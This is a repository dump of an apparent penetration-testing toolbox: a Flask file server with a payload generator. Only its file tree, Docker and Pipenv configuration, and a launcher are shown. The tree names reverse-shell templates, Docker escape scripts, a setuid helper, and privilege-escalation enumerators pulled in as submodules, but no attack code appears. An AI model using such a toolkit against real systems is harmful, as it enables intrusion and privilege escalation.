├── .dockerignore
├── .gitignore
├── .gitmodules
├── Dockerfile
├── Pipfile
├── Pipfile.lock
├── bin
    └── toolbox
├── images
    ├── recon.png
    ├── server.png
    ├── upload_file.png
    ├── upload_file_target.png
    ├── upload_file_token.png
    └── upload_file_token_authentication.png
├── install.sh
├── pyproject.toml
├── readme.md
├── requirements.txt
├── setup.py
├── tests
    ├── __init__.py
    ├── conftest.py
    ├── harnesses
    │   └── simple
    │   │   ├── serve
    │   │       ├── folder
    │   │       │   ├── child.txt
    │   │       │   └── nested_folder
    │   │       │   │   └── nested_child.txt
    │   │       └── simple.txt
    │   │   └── toolbox
    │   │       ├── arbitrary_file_read.txt
    │   │       ├── config.json
    │   │       └── third_party
    │   │           ├── arbitrary_file_read_test.txt
    │   │           └── enum_scripts
    │   │               ├── linux
    │   │                   └── enum.sh
    │   │               └── windows
    │   │                   └── enum.exe
    ├── test_file_server.py
    ├── test_formatters.py
    └── test_uploads.py
├── toolbox.py
└── toolbox
    ├── __init__.py
    ├── cli.py
    ├── config.json
    └── server
        ├── __init__.py
        ├── assets
            ├── bootstrap-4.0.0.min.css
            ├── bootstrap-4.5.3.min.js
            ├── jquery-3.5.1.slim.min.js
            └── popper-1.16.1.min.js
        ├── color.py
        ├── file_manager.py
        ├── file_server.py
        ├── formatters.py
        ├── interfaces.py
        ├── make_app.py
        ├── payload_generator.py
        ├── server.py
        └── templates
            ├── modules
                ├── cmd.php
                ├── composer.json
                ├── fetch_file.js
                ├── fetch_file.php
                ├── fetch_file.ps1
                ├── one_line_python.py
                ├── perl.pl
                ├── privileged_docker_escape.sh
                ├── read_file.py
                ├── recon.sh
                ├── setuid.c
                ├── shell.go
                ├── shell.js
                ├── shell.jsp
                ├── shell.lua
                ├── shell.php
                ├── shell.py
                ├── shell.sh
                ├── shell_bash.sh
                ├── shell_fifo_nc.sh
                └── writable_docker_socket.sh
            └── views
                ├── _directory_list.html
                ├── _download_commands.html
                ├── _upload_form.html
                └── index.html


/.dockerignore:
--------------------------------------------------------------------------------
 1 | *
 2 | !bin
 3 | !third_party/LinEnum/LinEnum.sh
 4 | !third_party/LinEnum/LICENSE
 5 | !third_party/privilege-escalation-awesome-scripts-suite/linPEAS/linpeas.sh
 6 | !third_party/privilege-escalation-awesome-scripts-suite/winPEAS/winPEASbat/winPEAS.bat
 7 | !third_party/privilege-escalation-awesome-scripts-suite/LICENSE
 8 | !third_party/static-binaries/binaries
 9 | !third_party/static-binaries/LICENSE
10 | !toolbox
11 | !Pipfile
12 | !Pipfile.lock
13 | !requirements.txt
14 | !setup.py
15 | !toolbox.py
16 | 


--------------------------------------------------------------------------------
/.gitignore:
--------------------------------------------------------------------------------
1 | __pycache__/
2 | *.pyc
3 | build
4 | dist
5 | third_party/PEASS-ng
6 | *.egg-info
7 | 


--------------------------------------------------------------------------------
/.gitmodules:
--------------------------------------------------------------------------------
 1 | [submodule "third_party/LinEnum"]
 2 | 	path = third_party/LinEnum
 3 | 	url = https://github.com/rebootuser/LinEnum
 4 | [submodule "third_party/static-binaries"]
 5 | 	path = third_party/static-binaries
 6 | 	url = https://github.com/andrew-d/static-binaries
 7 | [submodule "third_party/SharpCollection"]
 8 | 	path = third_party/SharpCollection
 9 | 	url = https://github.com/Flangvik/SharpCollection.git
10 | 


--------------------------------------------------------------------------------
/Dockerfile:
--------------------------------------------------------------------------------
 1 | FROM python:3.7.3-alpine3.9
 2 | 
 3 | WORKDIR /usr/src/app
 4 | 
 5 | RUN pip install pipenv
 6 | RUN set -ex && \
 7 |     apk add --no-cache build-base linux-headers
 8 | 
 9 | COPY Pipfile Pipfile.lock ./
10 | RUN pipenv install --deploy --dev --ignore-pipfile --system
11 | 
12 | COPY . .
13 | 


--------------------------------------------------------------------------------
/Pipfile:
--------------------------------------------------------------------------------
 1 | [[source]]
 2 | name = "pypi"
 3 | url = "https://pypi.org/simple"
 4 | verify_ssl = true
 5 | 
 6 | [dev-packages]
 7 | pytest = "==6.1.2"
 8 | pdbpp = "==0.10.2"
 9 | snapshottest = "==0.5.1"
10 | 
11 | [packages]
12 | click = "==8.1.3"
13 | netifaces = { version="==0.10.9", sys_platform = "!= 'win32'" }
14 | flask = "==2.2.3"
15 | flask-wtf = "==1.0.1"
16 | pytest-mock = "*"
17 | beautifulsoup4 = "*"
18 | flask-httpauth = "*"
19 | 
20 | [requires]
21 | python_version = "3.9"
22 | 


--------------------------------------------------------------------------------
/Pipfile.lock:
--------------------------------------------------------------------------------
  1 | {
  2 |     "_meta": {
  3 |         "hash": {
  4 |             "sha256": "de4a464a782fe7f688f0c066bfe9d156b2e8e1538441325918acf1701634ade9"
  5 |         },
  6 |         "pipfile-spec": 6,
  7 |         "requires": {
  8 |             "python_version": "3.9"
  9 |         },
 10 |         "sources": [
 11 |             {
 12 |                 "name": "pypi",
 13 |                 "url": "https://pypi.org/simple",
 14 |                 "verify_ssl": true
 15 |             }
 16 |         ]
 17 |     },
 18 |     "default": {
 19 |         "attrs": {
 20 |             "hashes": [
 21 |                 "sha256:29e95c7f6778868dbd49170f98f8818f78f3dc5e0e37c0b1f474e3561b240836",
 22 |                 "sha256:c9227bfc2f01993c03f68db37d1d15c9690188323c067c641f1a35ca58185f99"
 23 |             ],
 24 |             "markers": "python_version >= '3.6'",
 25 |             "version": "==22.2.0"
 26 |         },
 27 |         "beautifulsoup4": {
 28 |             "hashes": [
 29 |                 "sha256:2130a5ad7f513200fae61a17abb5e338ca980fa28c439c0571014bc0217e9591",
 30 |                 "sha256:c5fceeaec29d09c84970e47c65f2f0efe57872f7cff494c9691a26ec0ff13234"
 31 |             ],
 32 |             "index": "pypi",
 33 |             "version": "==4.12.0"
 34 |         },
 35 |         "click": {
 36 |             "hashes": [
 37 |                 "sha256:7682dc8afb30297001674575ea00d1814d808d6a36af415a82bd481d37ba7b8e",
 38 |                 "sha256:bb4d8133cb15a609f44e8213d9b391b0809795062913b383c62be0ee95b1db48"
 39 |             ],
 40 |             "index": "pypi",
 41 |             "version": "==8.1.3"
 42 |         },
 43 |         "exceptiongroup": {
 44 |             "hashes": [
 45 |                 "sha256:232c37c63e4f682982c8b6459f33a8981039e5fb8756b2074364e5055c498c9e",
 46 |                 "sha256:d484c3090ba2889ae2928419117447a14daf3c1231d5e30d0aae34f354f01785"
 47 |             ],
 48 |             "markers": "python_version < '3.11'",
 49 |             "version": "==1.1.1"
 50 |         },
 51 |         "flask": {
 52 |             "hashes": [
 53 |                 "sha256:7eb373984bf1c770023fce9db164ed0c3353cd0b53f130f4693da0ca756a2e6d",
 54 |                 "sha256:c0bec9477df1cb867e5a67c9e1ab758de9cb4a3e52dd70681f59fa40a62b3f2d"
 55 |             ],
 56 |             "index": "pypi",
 57 |             "version": "==2.2.3"
 58 |         },
 59 |         "flask-httpauth": {
 60 |             "hashes": [
 61 |                 "sha256:a237e4c8ec1d339298a0eb88e5af2ca36117949b621631649462800e57e1ba37",
 62 |                 "sha256:f7199e7bad20d5b68b3f0b62bddfca7637c55087e9d02f605ae26e0de479fd94"
 63 |             ],
 64 |             "index": "pypi",
 65 |             "version": "==4.7.0"
 66 |         },
 67 |         "flask-wtf": {
 68 |             "hashes": [
 69 |                 "sha256:34fe5c6fee0f69b50e30f81a3b7ea16aa1492a771fe9ad0974d164610c09a6c9",
 70 |                 "sha256:9d733658c80be551ce7d5bc13c7a7ac0d80df509be1e23827c847d9520f4359a"
 71 |             ],
 72 |             "index": "pypi",
 73 |             "version": "==1.0.1"
 74 |         },
 75 |         "importlib-metadata": {
 76 |             "hashes": [
 77 |                 "sha256:43ce9281e097583d758c2c708c4376371261a02c34682491a8e98352365aad20",
 78 |                 "sha256:ff80f3b5394912eb1b108fcfd444dc78b7f1f3e16b16188054bd01cb9cb86f09"
 79 |             ],
 80 |             "markers": "python_version < '3.10'",
 81 |             "version": "==6.1.0"
 82 |         },
 83 |         "iniconfig": {
 84 |             "hashes": [
 85 |                 "sha256:2d91e135bf72d31a410b17c16da610a82cb55f6b0477d1a902134b24a455b8b3",
 86 |                 "sha256:b6a85871a79d2e3b22d2d1b94ac2824226a63c6b741c88f7ae975f18b6778374"
 87 |             ],
 88 |             "markers": "python_version >= '3.7'",
 89 |             "version": "==2.0.0"
 90 |         },
 91 |         "itsdangerous": {
 92 |             "hashes": [
 93 |                 "sha256:2c2349112351b88699d8d4b6b075022c0808887cb7ad10069318a8b0bc88db44",
 94 |                 "sha256:5dbbc68b317e5e42f327f9021763545dc3fc3bfe22e6deb96aaf1fc38874156a"
 95 |             ],
 96 |             "markers": "python_version >= '3.7'",
 97 |             "version": "==2.1.2"
 98 |         },
 99 |         "jinja2": {
100 |             "hashes": [
101 |                 "sha256:31351a702a408a9e7595a8fc6150fc3f43bb6bf7e319770cbc0db9df9437e852",
102 |                 "sha256:6088930bfe239f0e6710546ab9c19c9ef35e29792895fed6e6e31a023a182a61"
103 |             ],
104 |             "markers": "python_version >= '3.7'",
105 |             "version": "==3.1.2"
106 |         },
107 |         "markupsafe": {
108 |             "hashes": [
109 |                 "sha256:0576fe974b40a400449768941d5d0858cc624e3249dfd1e0c33674e5c7ca7aed",
110 |                 "sha256:085fd3201e7b12809f9e6e9bc1e5c96a368c8523fad5afb02afe3c051ae4afcc",
111 |                 "sha256:090376d812fb6ac5f171e5938e82e7f2d7adc2b629101cec0db8b267815c85e2",
112 |                 "sha256:0b462104ba25f1ac006fdab8b6a01ebbfbce9ed37fd37fd4acd70c67c973e460",
113 |                 "sha256:137678c63c977754abe9086a3ec011e8fd985ab90631145dfb9294ad09c102a7",
114 |                 "sha256:1bea30e9bf331f3fef67e0a3877b2288593c98a21ccb2cf29b74c581a4eb3af0",
115 |                 "sha256:22152d00bf4a9c7c83960521fc558f55a1adbc0631fbb00a9471e097b19d72e1",
116 |                 "sha256:22731d79ed2eb25059ae3df1dfc9cb1546691cc41f4e3130fe6bfbc3ecbbecfa",
117 |                 "sha256:2298c859cfc5463f1b64bd55cb3e602528db6fa0f3cfd568d3605c50678f8f03",
118 |                 "sha256:28057e985dace2f478e042eaa15606c7efccb700797660629da387eb289b9323",
119 |                 "sha256:2e7821bffe00aa6bd07a23913b7f4e01328c3d5cc0b40b36c0bd81d362faeb65",
120 |                 "sha256:2ec4f2d48ae59bbb9d1f9d7efb9236ab81429a764dedca114f5fdabbc3788013",
121 |                 "sha256:340bea174e9761308703ae988e982005aedf427de816d1afe98147668cc03036",
122 |                 "sha256:40627dcf047dadb22cd25ea7ecfe9cbf3bbbad0482ee5920b582f3809c97654f",
123 |                 "sha256:40dfd3fefbef579ee058f139733ac336312663c6706d1163b82b3003fb1925c4",
124 |                 "sha256:4cf06cdc1dda95223e9d2d3c58d3b178aa5dacb35ee7e3bbac10e4e1faacb419",
125 |                 "sha256:50c42830a633fa0cf9e7d27664637532791bfc31c731a87b202d2d8ac40c3ea2",
126 |                 "sha256:55f44b440d491028addb3b88f72207d71eeebfb7b5dbf0643f7c023ae1fba619",
127 |                 "sha256:608e7073dfa9e38a85d38474c082d4281f4ce276ac0010224eaba11e929dd53a",
128 |                 "sha256:63ba06c9941e46fa389d389644e2d8225e0e3e5ebcc4ff1ea8506dce646f8c8a",
129 |                 "sha256:65608c35bfb8a76763f37036547f7adfd09270fbdbf96608be2bead319728fcd",
130 |                 "sha256:665a36ae6f8f20a4676b53224e33d456a6f5a72657d9c83c2aa00765072f31f7",
131 |                 "sha256:6d6607f98fcf17e534162f0709aaad3ab7a96032723d8ac8750ffe17ae5a0666",
132 |                 "sha256:7313ce6a199651c4ed9d7e4cfb4aa56fe923b1adf9af3b420ee14e6d9a73df65",
133 |                 "sha256:7668b52e102d0ed87cb082380a7e2e1e78737ddecdde129acadb0eccc5423859",
134 |                 "sha256:7df70907e00c970c60b9ef2938d894a9381f38e6b9db73c5be35e59d92e06625",
135 |                 "sha256:7e007132af78ea9df29495dbf7b5824cb71648d7133cf7848a2a5dd00d36f9ff",
136 |                 "sha256:835fb5e38fd89328e9c81067fd642b3593c33e1e17e2fdbf77f5676abb14a156",
137 |                 "sha256:8bca7e26c1dd751236cfb0c6c72d4ad61d986e9a41bbf76cb445f69488b2a2bd",
138 |                 "sha256:8db032bf0ce9022a8e41a22598eefc802314e81b879ae093f36ce9ddf39ab1ba",
139 |                 "sha256:99625a92da8229df6d44335e6fcc558a5037dd0a760e11d84be2260e6f37002f",
140 |                 "sha256:9cad97ab29dfc3f0249b483412c85c8ef4766d96cdf9dcf5a1e3caa3f3661cf1",
141 |                 "sha256:a4abaec6ca3ad8660690236d11bfe28dfd707778e2442b45addd2f086d6ef094",
142 |                 "sha256:a6e40afa7f45939ca356f348c8e23048e02cb109ced1eb8420961b2f40fb373a",
143 |                 "sha256:a6f2fcca746e8d5910e18782f976489939d54a91f9411c32051b4aab2bd7c513",
144 |                 "sha256:a806db027852538d2ad7555b203300173dd1b77ba116de92da9afbc3a3be3eed",
145 |                 "sha256:abcabc8c2b26036d62d4c746381a6f7cf60aafcc653198ad678306986b09450d",
146 |                 "sha256:b8526c6d437855442cdd3d87eede9c425c4445ea011ca38d937db299382e6fa3",
147 |                 "sha256:bb06feb762bade6bf3c8b844462274db0c76acc95c52abe8dbed28ae3d44a147",
148 |                 "sha256:c0a33bc9f02c2b17c3ea382f91b4db0e6cde90b63b296422a939886a7a80de1c",
149 |                 "sha256:c4a549890a45f57f1ebf99c067a4ad0cb423a05544accaf2b065246827ed9603",
150 |                 "sha256:ca244fa73f50a800cf8c3ebf7fd93149ec37f5cb9596aa8873ae2c1d23498601",
151 |                 "sha256:cf877ab4ed6e302ec1d04952ca358b381a882fbd9d1b07cccbfd61783561f98a",
152 |                 "sha256:d9d971ec1e79906046aa3ca266de79eac42f1dbf3612a05dc9368125952bd1a1",
153 |                 "sha256:da25303d91526aac3672ee6d49a2f3db2d9502a4a60b55519feb1a4c7714e07d",
154 |                 "sha256:e55e40ff0cc8cc5c07996915ad367fa47da6b3fc091fdadca7f5403239c5fec3",
155 |                 "sha256:f03a532d7dee1bed20bc4884194a16160a2de9ffc6354b3878ec9682bb623c54",
156 |                 "sha256:f1cd098434e83e656abf198f103a8207a8187c0fc110306691a2e94a78d0abb2",
157 |                 "sha256:f2bfb563d0211ce16b63c7cb9395d2c682a23187f54c3d79bfec33e6705473c6",
158 |                 "sha256:f8ffb705ffcf5ddd0e80b65ddf7bed7ee4f5a441ea7d3419e861a12eaf41af58"
159 |             ],
160 |             "markers": "python_version >= '3.7'",
161 |             "version": "==2.1.2"
162 |         },
163 |         "netifaces": {
164 |             "hashes": [
165 |                 "sha256:078986caf4d6a602a4257d3686afe4544ea74362b8928e9f4389b5cd262bc215",
166 |                 "sha256:0c4304c6d5b33fbd9b20fdc369f3a2fef1a8bbacfb6fd05b9708db01333e9e7b",
167 |                 "sha256:2dee9ffdd16292878336a58d04a20f0ffe95555465fee7c9bd23b3490ef2abf3",
168 |                 "sha256:3095218b66d359092b82f07c5422293c2f6559cf8d36b96b379cc4cdc26eeffa",
169 |                 "sha256:30ed89ab8aff715caf9a9d827aa69cd02ad9f6b1896fd3fb4beb998466ed9a3c",
170 |                 "sha256:4921ed406386246b84465950d15a4f63480c1458b0979c272364054b29d73084",
171 |                 "sha256:563a1a366ee0fb3d96caab79b7ac7abd2c0a0577b157cc5a40301373a0501f89",
172 |                 "sha256:5b3167f923f67924b356c1338eb9ba275b2ba8d64c7c2c47cf5b5db49d574994",
173 |                 "sha256:6d84e50ec28e5d766c9911dce945412dc5b1ce760757c224c71e1a9759fa80c2",
174 |                 "sha256:755050799b5d5aedb1396046f270abfc4befca9ccba3074f3dbbb3cb34f13aae",
175 |                 "sha256:75d3a4ec5035db7478520ac547f7c176e9fd438269e795819b67223c486e5cbe",
176 |                 "sha256:7a25a8e28281504f0e23e181d7a9ed699c72f061ca6bdfcd96c423c2a89e75fc",
177 |                 "sha256:7cc6fd1eca65be588f001005446a47981cbe0b2909f5be8feafef3bf351a4e24",
178 |                 "sha256:86b8a140e891bb23c8b9cb1804f1475eb13eea3dbbebef01fcbbf10fbafbee42",
179 |                 "sha256:ad10acab2ef691eb29a1cc52c3be5ad1423700e993cc035066049fa72999d0dc",
180 |                 "sha256:b2ff3a0a4f991d2da5376efd3365064a43909877e9fabfa801df970771161d29",
181 |                 "sha256:b47e8f9ff6846756be3dc3fb242ca8e86752cd35a08e06d54ffc2e2a2aca70ea",
182 |                 "sha256:da298241d87bcf468aa0f0705ba14572ad296f24c4fda5055d6988701d6fd8e1",
183 |                 "sha256:db881478f1170c6dd524175ba1c83b99d3a6f992a35eca756de0ddc4690a1940",
184 |                 "sha256:f0427755c68571df37dc58835e53a4307884a48dec76f3c01e33eb0d4a3a81d7",
185 |                 "sha256:f8885cc48c8c7ad51f36c175e462840f163cb4687eeb6c6d7dfaf7197308e36b",
186 |                 "sha256:f911b7f0083d445c8d24cfa5b42ad4996e33250400492080f5018a28c026db2b"
187 |             ],
188 |             "index": "pypi",
189 |             "markers": "sys_platform != 'win32'",
190 |             "version": "==0.10.9"
191 |         },
192 |         "packaging": {
193 |             "hashes": [
194 |                 "sha256:714ac14496c3e68c99c29b00845f7a2b85f3bb6f1078fd9f72fd20f0570002b2",
195 |                 "sha256:b6ad297f8907de0fa2fe1ccbd26fdaf387f5f47c7275fedf8cce89f99446cf97"
196 |             ],
197 |             "markers": "python_version >= '3.7'",
198 |             "version": "==23.0"
199 |         },
200 |         "pluggy": {
201 |             "hashes": [
202 |                 "sha256:4224373bacce55f955a878bf9cfa763c1e360858e330072059e10bad68531159",
203 |                 "sha256:74134bbf457f031a36d68416e1509f34bd5ccc019f0bcc952c7b909d06b37bd3"
204 |             ],
205 |             "markers": "python_version >= '3.6'",
206 |             "version": "==1.0.0"
207 |         },
208 |         "pytest": {
209 |             "hashes": [
210 |                 "sha256:130328f552dcfac0b1cec75c12e3f005619dc5f874f0a06e8ff7263f0ee6225e",
211 |                 "sha256:c99ab0c73aceb050f68929bc93af19ab6db0558791c6a0715723abe9d0ade9d4"
212 |             ],
213 |             "markers": "python_version >= '3.7'",
214 |             "version": "==7.2.2"
215 |         },
216 |         "pytest-mock": {
217 |             "hashes": [
218 |                 "sha256:f4c973eeae0282963eb293eb173ce91b091a79c1334455acfac9ddee8a1c784b",
219 |                 "sha256:fbbdb085ef7c252a326fd8cdcac0aa3b1333d8811f131bdcc701002e1be7ed4f"
220 |             ],
221 |             "index": "pypi",
222 |             "version": "==3.10.0"
223 |         },
224 |         "soupsieve": {
225 |             "hashes": [
226 |                 "sha256:49e5368c2cda80ee7e84da9dbe3e110b70a4575f196efb74e51b94549d921955",
227 |                 "sha256:e28dba9ca6c7c00173e34e4ba57448f0688bb681b7c5e8bf4971daafc093d69a"
228 |             ],
229 |             "markers": "python_version >= '3.7'",
230 |             "version": "==2.4"
231 |         },
232 |         "tomli": {
233 |             "hashes": [
234 |                 "sha256:939de3e7a6161af0c887ef91b7d41a53e7c5a1ca976325f429cb46ea9bc30ecc",
235 |                 "sha256:de526c12914f0c550d15924c62d72abc48d6fe7364aa87328337a31007fe8a4f"
236 |             ],
237 |             "markers": "python_version < '3.11'",
238 |             "version": "==2.0.1"
239 |         },
240 |         "werkzeug": {
241 |             "hashes": [
242 |                 "sha256:2e1ccc9417d4da358b9de6f174e3ac094391ea1d4fbef2d667865d819dfd0afe",
243 |                 "sha256:56433961bc1f12533306c624f3be5e744389ac61d722175d543e1751285da612"
244 |             ],
245 |             "markers": "python_version >= '3.7'",
246 |             "version": "==2.2.3"
247 |         },
248 |         "wtforms": {
249 |             "hashes": [
250 |                 "sha256:6b351bbb12dd58af57ffef05bc78425d08d1914e0fd68ee14143b7ade023c5bc",
251 |                 "sha256:837f2f0e0ca79481b92884962b914eba4e72b7a2daaf1f939c890ed0124b834b"
252 |             ],
253 |             "markers": "python_version >= '3.7'",
254 |             "version": "==3.0.1"
255 |         },
256 |         "zipp": {
257 |             "hashes": [
258 |                 "sha256:112929ad649da941c23de50f356a2b5570c954b65150642bccdd66bf194d224b",
259 |                 "sha256:48904fc76a60e542af151aded95726c1a5c34ed43ab4134b597665c86d7ad556"
260 |             ],
261 |             "markers": "python_version >= '3.7'",
262 |             "version": "==3.15.0"
263 |         }
264 |     },
265 |     "develop": {
266 |         "attrs": {
267 |             "hashes": [
268 |                 "sha256:29e95c7f6778868dbd49170f98f8818f78f3dc5e0e37c0b1f474e3561b240836",
269 |                 "sha256:c9227bfc2f01993c03f68db37d1d15c9690188323c067c641f1a35ca58185f99"
270 |             ],
271 |             "markers": "python_version >= '3.6'",
272 |             "version": "==22.2.0"
273 |         },
274 |         "fancycompleter": {
275 |             "hashes": [
276 |                 "sha256:09e0feb8ae242abdfd7ef2ba55069a46f011814a80fe5476be48f51b00247272",
277 |                 "sha256:dd076bca7d9d524cc7f25ec8f35ef95388ffef9ef46def4d3d25e9b044ad7080"
278 |             ],
279 |             "version": "==0.9.1"
280 |         },
281 |         "fastdiff": {
282 |             "hashes": [
283 |                 "sha256:4dfa09c47832a8c040acda3f1f55fc0ab4d666f0e14e6951e6da78d59acd945a",
284 |                 "sha256:ca5f61f6ddf5a1564ddfd98132ad28e7abe4a88a638a8b014a2214f71e5918ec"
285 |             ],
286 |             "version": "==0.3.0"
287 |         },
288 |         "iniconfig": {
289 |             "hashes": [
290 |                 "sha256:2d91e135bf72d31a410b17c16da610a82cb55f6b0477d1a902134b24a455b8b3",
291 |                 "sha256:b6a85871a79d2e3b22d2d1b94ac2824226a63c6b741c88f7ae975f18b6778374"
292 |             ],
293 |             "markers": "python_version >= '3.7'",
294 |             "version": "==2.0.0"
295 |         },
296 |         "packaging": {
297 |             "hashes": [
298 |                 "sha256:714ac14496c3e68c99c29b00845f7a2b85f3bb6f1078fd9f72fd20f0570002b2",
299 |                 "sha256:b6ad297f8907de0fa2fe1ccbd26fdaf387f5f47c7275fedf8cce89f99446cf97"
300 |             ],
301 |             "markers": "python_version >= '3.7'",
302 |             "version": "==23.0"
303 |         },
304 |         "pdbpp": {
305 |             "hashes": [
306 |                 "sha256:73ff220d5006e0ecdc3e2705d8328d8aa5ac27fef95cc06f6e42cd7d22d55eb8"
307 |             ],
308 |             "index": "pypi",
309 |             "version": "==0.10.2"
310 |         },
311 |         "pluggy": {
312 |             "hashes": [
313 |                 "sha256:4224373bacce55f955a878bf9cfa763c1e360858e330072059e10bad68531159",
314 |                 "sha256:74134bbf457f031a36d68416e1509f34bd5ccc019f0bcc952c7b909d06b37bd3"
315 |             ],
316 |             "markers": "python_version >= '3.6'",
317 |             "version": "==1.0.0"
318 |         },
319 |         "py": {
320 |             "hashes": [
321 |                 "sha256:51c75c4126074b472f746a24399ad32f6053d1b34b68d2fa41e558e6f4a98719",
322 |                 "sha256:607c53218732647dff4acdfcd50cb62615cedf612e72d1724fb1a0cc6405b378"
323 |             ],
324 |             "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3, 3.4'",
325 |             "version": "==1.11.0"
326 |         },
327 |         "pygments": {
328 |             "hashes": [
329 |                 "sha256:b3ed06a9e8ac9a9aae5a6f5dbe78a8a58655d17b43b93c078f094ddc476ae297",
330 |                 "sha256:fa7bd7bd2771287c0de303af8bfdfc731f51bd2c6a47ab69d117138893b82717"
331 |             ],
332 |             "markers": "python_version >= '3.6'",
333 |             "version": "==2.14.0"
334 |         },
335 |         "pyrepl": {
336 |             "hashes": [
337 |                 "sha256:292570f34b5502e871bbb966d639474f2b57fbfcd3373c2d6a2f3d56e681a775"
338 |             ],
339 |             "version": "==0.9.0"
340 |         },
341 |         "pytest": {
342 |             "hashes": [
343 |                 "sha256:130328f552dcfac0b1cec75c12e3f005619dc5f874f0a06e8ff7263f0ee6225e",
344 |                 "sha256:c99ab0c73aceb050f68929bc93af19ab6db0558791c6a0715723abe9d0ade9d4"
345 |             ],
346 |             "markers": "python_version >= '3.7'",
347 |             "version": "==7.2.2"
348 |         },
349 |         "six": {
350 |             "hashes": [
351 |                 "sha256:1e61c37477a1626458e36f7b1d82aa5c9b094fa4802892072e49de9c60c4c926",
352 |                 "sha256:8abb2f1d86890a2dfb989f9a77cfcfd3e47c2a354b01111771326f8aa26e0254"
353 |             ],
354 |             "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3'",
355 |             "version": "==1.16.0"
356 |         },
357 |         "snapshottest": {
358 |             "hashes": [
359 |                 "sha256:2cc7157e77674ea8ebeb2351466ff50cd4b5ad8e213adc06df9c16a75ab5bafc"
360 |             ],
361 |             "index": "pypi",
362 |             "version": "==0.5.1"
363 |         },
364 |         "termcolor": {
365 |             "hashes": [
366 |                 "sha256:91ddd848e7251200eac969846cbae2dacd7d71c2871e92733289e7e3666f48e7",
367 |                 "sha256:dfc8ac3f350788f23b2947b3e6cfa5a53b630b612e6cd8965a015a776020b99a"
368 |             ],
369 |             "markers": "python_version >= '3.7'",
370 |             "version": "==2.2.0"
371 |         },
372 |         "toml": {
373 |             "hashes": [
374 |                 "sha256:806143ae5bfb6a3c6e736a764057db0e6a0e05e338b5630894a5f779cabb4f9b",
375 |                 "sha256:b3bda1d108d5dd99f4a20d24d9c348e91c4db7ab1b749200bded2f839ccbe68f"
376 |             ],
377 |             "markers": "python_version >= '2.6' and python_version not in '3.0, 3.1, 3.2, 3.3'",
378 |             "version": "==0.10.2"
379 |         },
380 |         "wasmer": {
381 |             "hashes": [
382 |                 "sha256:1e63d16bd6e2e2272d8721647831de5c537e0bb08002ee6d7abf167ec02d5178",
383 |                 "sha256:20b5190112e2e94a8947967f2bc683c9685855d0f34130d8434c87a55216a3bd",
384 |                 "sha256:214d9a3cfb577ea9449eb2b5f13adceae34c55365e4c3d930066beb86a7f67bc",
385 |                 "sha256:2caf8c67feae9cd4246421551036917811c446da4f27ad4c989521ef42751931",
386 |                 "sha256:85e6a5bf44853e8e6a12e947ee3412da9e84f7ce49fc165ba5dbd293e9c5c405",
387 |                 "sha256:a0a4730ec4907a4cb0d9d4a77ea2608c2c814f22a22b73fc80be0f110e014836",
388 |                 "sha256:a182a6eca9b46d895b4985fc822fab8da3d2f84fab74ca27e55a7430a7fcf336",
389 |                 "sha256:aa112198b743cff2e391230436813fb4b244a24443e37866522b7197e3a034da",
390 |                 "sha256:ab1ae980021e5ec0bf0c6cdd3b979b1d15a5f3eb2b8a32da8dcb1156e4a1e484",
391 |                 "sha256:b9e5605552bd7d2bc6337519b176defe83bc69b98abf3caaaefa4f7ec231d18a",
392 |                 "sha256:c0b37117f6d3ff51ee96431c7d224d99799b08d174e30fcd0fcd7e2e3cb8140c",
393 |                 "sha256:c2af4b907ae2dabcac41e316e811d5937c93adf1f8b05c5d49427f8ce0f37630",
394 |                 "sha256:d0d93aec6215893d33e803ef0a8d37bf948c585dd80ba0e23a83fafee820bc03",
395 |                 "sha256:ee442f0970f40ec5e32011c92fd753fb2061da0faa13de13fafc730c31be34e3"
396 |             ],
397 |             "version": "==1.1.0"
398 |         },
399 |         "wasmer-compiler-cranelift": {
400 |             "hashes": [
401 |                 "sha256:157d87cbd1d04adbad55b50cb4bedc28e444caf74797fd96df17390667e58699",
402 |                 "sha256:200fea80609cfb088457327acf66d5aa61f4c4f66b5a71133ada960b534c7355",
403 |                 "sha256:2a4349b1ddd727bd46bc5ede741839dcfc5153c52f064a83998c4150d5d4a85c",
404 |                 "sha256:32fe38614fccc933da77ee4372904a5fa9c12b859209a2e4048a8284c4c371f2",
405 |                 "sha256:405546ee864ac158a4107f374dfbb1c8d6cfb189829bdcd13050143a4bd98f28",
406 |                 "sha256:447285402e366a34667a674db70458c491acd6940b797c175c0b0027f48e64bb",
407 |                 "sha256:55a524985179f6b7b88ac973e8fac5a2574d3b125a966fba75fedd5a2525e484",
408 |                 "sha256:7d9c782b7721789b16e303b7e70c59df370896dd62b77e2779e3a44b4e1aa20c",
409 |                 "sha256:9697ae082317a56776df8ff7df8c922eac38488ef38d3478fe5f0ca144c185ab",
410 |                 "sha256:9869910179f39696a020edc5689f7759257ac1cce569a7a0fcf340c59788baad",
411 |                 "sha256:bd03db5a916ead51b442c66acad38847dfe127cf90b2019b1680f1920c4f8d06",
412 |                 "sha256:bdf75af9ef082e6aeb752550f694273340ece970b65099e0746db0f972760d11",
413 |                 "sha256:ff25fc99ebafa04a6c271d08a90d17b927930e3019a2b333c7cfb48ba32c6f71",
414 |                 "sha256:ff7dd5bd69030b63521c24583bf0f5457cd2580237340b91ce35370f72a4a1cc"
415 |             ],
416 |             "version": "==1.1.0"
417 |         },
418 |         "wmctrl": {
419 |             "hashes": [
420 |                 "sha256:66cbff72b0ca06a22ec3883ac3a4d7c41078bdae4fb7310f52951769b10e14e0"
421 |             ],
422 |             "version": "==0.4"
423 |         }
424 |     }
425 | }
426 | 


--------------------------------------------------------------------------------
/bin/toolbox:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | 
3 | from toolbox import cli
4 | 
5 | cli.run()
6 | 


--------------------------------------------------------------------------------
/images/recon.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/AlanFoster/toolbox/5bd64910ab2ab5bf1e25ee73faeee7d45c52c769/images/recon.png


--------------------------------------------------------------------------------
/images/server.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/AlanFoster/toolbox/5bd64910ab2ab5bf1e25ee73faeee7d45c52c769/images/server.png


--------------------------------------------------------------------------------
/images/upload_file.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/AlanFoster/toolbox/5bd64910ab2ab5bf1e25ee73faeee7d45c52c769/images/upload_file.png


--------------------------------------------------------------------------------
/images/upload_file_target.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/AlanFoster/toolbox/5bd64910ab2ab5bf1e25ee73faeee7d45c52c769/images/upload_file_target.png


